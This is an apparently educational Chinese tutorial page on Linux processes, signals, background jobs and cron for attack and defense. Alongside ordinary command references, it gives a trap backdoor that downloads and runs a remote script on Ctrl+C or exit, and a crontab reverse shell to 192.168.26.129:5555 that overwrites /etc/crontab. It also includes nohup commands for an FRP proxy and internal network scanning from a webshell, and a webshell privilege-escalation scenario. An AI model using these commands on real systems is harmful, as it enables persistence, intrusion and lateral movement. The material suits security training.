> For the complete documentation index, see [llms.txt](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-san-zhang-linux-gong-fang-kuai-su-ru-men-xia/jin-cheng-he-ji-hua-ren-wu.md).

# 进程和计划任务

进程和计划任务在实战场景中会利用到，例如在提权方面、应急响应。在攻击与防守都需要了解进程和计划任务。例如在无内核漏洞时，利用系统自带高权限目录、高权限进程来提权，利用管理员计划任务中的Bash脚本提权；

#### 进程

进程是一种抽象的概念，从来没有统一标准定义，进程由，程序、数据集合、进程控制分三部分组成。

* &#x20;程序用于描述进程要完成的功能，是控制进程执行的指令集；
* &#x20;数据库集合是程序在执行时所需要的数据和工作区；
* &#x20;程序控制块（PCB），包含进程的描述信息和控制信息，是进程存在唯一标志
* &#x20;进程的特征：
* &#x20;动态性：进程是程序的一次执行过程，临时的、有生命期、动态产生、动态消亡
* &#x20;并发生：任何进程都可以和其他进程一起并发执行
* &#x20;独立性：是由系统进行资源分配和高度的一个独立单位
* &#x20;结构性：程序、数据、进程控制块三部分组成

#### 进程管理和性能相关工具

<figure><img src="/files/mswy2E63SIkoEFNBLaw6" alt=""><figcaption></figcaption></figure>

**pstree**

```bash
yum install psmisc -y
-p 显示PID
-T 不显示线程thread,默认显示线程
-u 显示用户切换
-H pid 高亮显示指定进程及其前辈进程

#常用选项
pstree -uT
pstree -pT
```

**进程信息ps**

默认显示当前终端信息，Linux进程信息保存在/proc/PID目录下各文件中

* &#x20;a：显示一个终端的所有进程；
* &#x20;u：显示进程的归属用户及内存的使用情况；
* &#x20;x：显示没有控制终端的进程；
* &#x20;-l：长格式显示更加详细的信息；
* &#x20;-e：显示所有进程；

```bash
#显示进程详细命令
ps axo pid,cmd
 
#常用组合
ps aux
ps -ef
ps -efH
 
#查看进程父子关系
ps auxf
 
#只显示指定用户名、ID进程
ps -fU apache|ID
```

场景：在某个省级演练中，在内网针对靶标发起攻击，通过爆破获得一个普通权限，查看进程发现有tomcat进程，将WebShell写入到tomcat目录下，访问JSP就是root权限。

**进程实时状态top**

```bash
top
 
uptime信息：l
tasks及cpu信息：t
memory信息：m
 
#htop是top增强版
htop
```

**查看进程打开文件**

lsof 命令，“list opened files”的缩写，直译过来，就是列举系统中已经被打开的文件。

通过 lsof 命令，我们就可以根据文件找到对应的进程信息，也可以根据进程信息找到进程打开的文件。

```bash
lsof -o PID #查看进程打开的文件
lsof -c httpd #查看指定程序打开的文件
lsof -i -n #查看网络连接
lsof -i -n -a -p PID #查看指定进程打开的网络连接
lsof -n -P -i TCP -s TCP:ESTABLISHED #查看指定状态的网络连接
```

**结束进程**

kill 命令只是用来向进程发送一个信号，至于这个信号是什么，是用户指定的。

kill 命令的执行原理是这样的，kill 命令会向操作系统内核发送一个信号（终止信号）和目标进程的 PID，然后系统内核根据收到的信号类型，对指定进程进行相应的操作。

| 信号编号 | 信号名  | 含义                                                  |
| ---- | ---- | --------------------------------------------------- |
| 0    | EXIT | 程序退出时收到该信息。                                         |
| 1    | HUP  | 挂掉电话线或终端连接的挂起信号，这个信号也会造成某些进程在没有终止的情况下重新初始化。         |
| 2    | INT  | 表示结束进程，但并不是强制性的，常用的 "Ctrl+C" 组合键发出就是一个 kill -2 的信号。 |
| 3    | QUIT | 退出。                                                 |
| 9    | KILL | 杀死进程，即强制结束进程。                                       |
| 11   | SEGV | 段错误。                                                |
| 15   | TERM | 正常结束进程，是 kill 命令的默认信号。                              |
|      |      |                                                     |

```bash
#显示当前系统可用信号
kill -l
trap -l
 
#强制结束进程
kill -9 pid
 
#结束进程名，而非通过PID
killall
```

**信号发送**

结束进程是通过发送信号，由内核来帮我们操作，像信号9用于结束进程

常用信号：

| SIGHUP  | 挂起进程            | 1  |
| ------- | --------------- | -- |
| SIGINT  | 终止进程；Ctrl+c     | 2  |
| SIGQUIT | 停止进程            | 3  |
| SIGKILL | 强制杀死            | 9  |
| SIGTERM | 尽可能终止           | 15 |
| SIGSTOP | 无条件停止进程，但不是终止进程 | 19 |
| SIGCONT | 继续运行            | 18 |

ATT\&CK T1154

trap命令用于指定在接收到信号后将要采取的动作，常见的用途是在脚本程序被中断时完成清理工作。

当shell接收到sigspec指定的信号时，arg参数（命令）将会被读取，并被执行。例如：

可以用于来做后门：

{% code overflow="wrap" %}

```bash
trap 'nohup curl -sS
https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1546.005/src/echo-art-fish.sh | bash' SIGINT
```

{% endcode %}

当管理员按CTRL + C都会被执行

如果Bash shell收到了SIGHUP信号，当你要离开一个交互式shell，它就会退出，但是在退出之前，它会将SIGHUP信号传给所有由该shell所启动的进程。

退出终端将会下载执行脚本：

{% code overflow="wrap" %}

```bash
trap 'nohup curl -sS
https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1546.005/src/echo-art-fish.sh | bash' EXIT
```

{% endcode %}

#### 进程后台管理

让程序运行于后台

* Ctrl + Z
* &#x20;COMMAND &

后台运行剥离与终端关系

```bash
nohup COMMAND &>/dev/null &
screen; COMMAND
tmux; COMMAND
 
#查看当前作业
jobs
 
#作业控制
fg #后台作业调回前台
bg #后台继续运行
kill #终止
```

场景：在WebShell如何进行FRP代理？ 持久化的执行我们的扫描任务？

```bash
nohup /tmp/amd64c -a 1.1.1.1 -p 4436 -t pass -r 5672 &
 
nohup /tmp/fscan -h 192.168.0.0/16 -nopoc &
```

#### 计划任务

挖矿等木马，常常会把执行脚本文件写入到计划任务中；

提权场景。

**cron**

* &#x20;/etc/crontab    主配置文件
* &#x20;/etc/cron.d/    子配置文件
* &#x20;/var/spool/cron/USER    用户文件

```bash
分     时     日     月     周
```

* &#x20;-e 编辑某个用户的 crontab 文件内容。如果不指定用户，则表示编辑当前用户的 crontab 文件
* &#x20;-l 显示某用户的 crontab 文件内容，如果不指定用户，则表示显示当前用户的 crontab 文件内容。

```bash
#每天凌晨1点20分清除/var/log/slow.log这个文件
20 1 * * * echo "" >   /var/log/slow.log
 
#11月每天的6-12点之间每隔2小时执行/app/bin/test.sh
0 6-12/2 * 11 * /app/bin/test.sh
 
#反弹Shell
echo '*/1 * * * * root bash -i >& /dev/tcp/192.168.26.129/5555 0>&1' >/etc/crontab
```
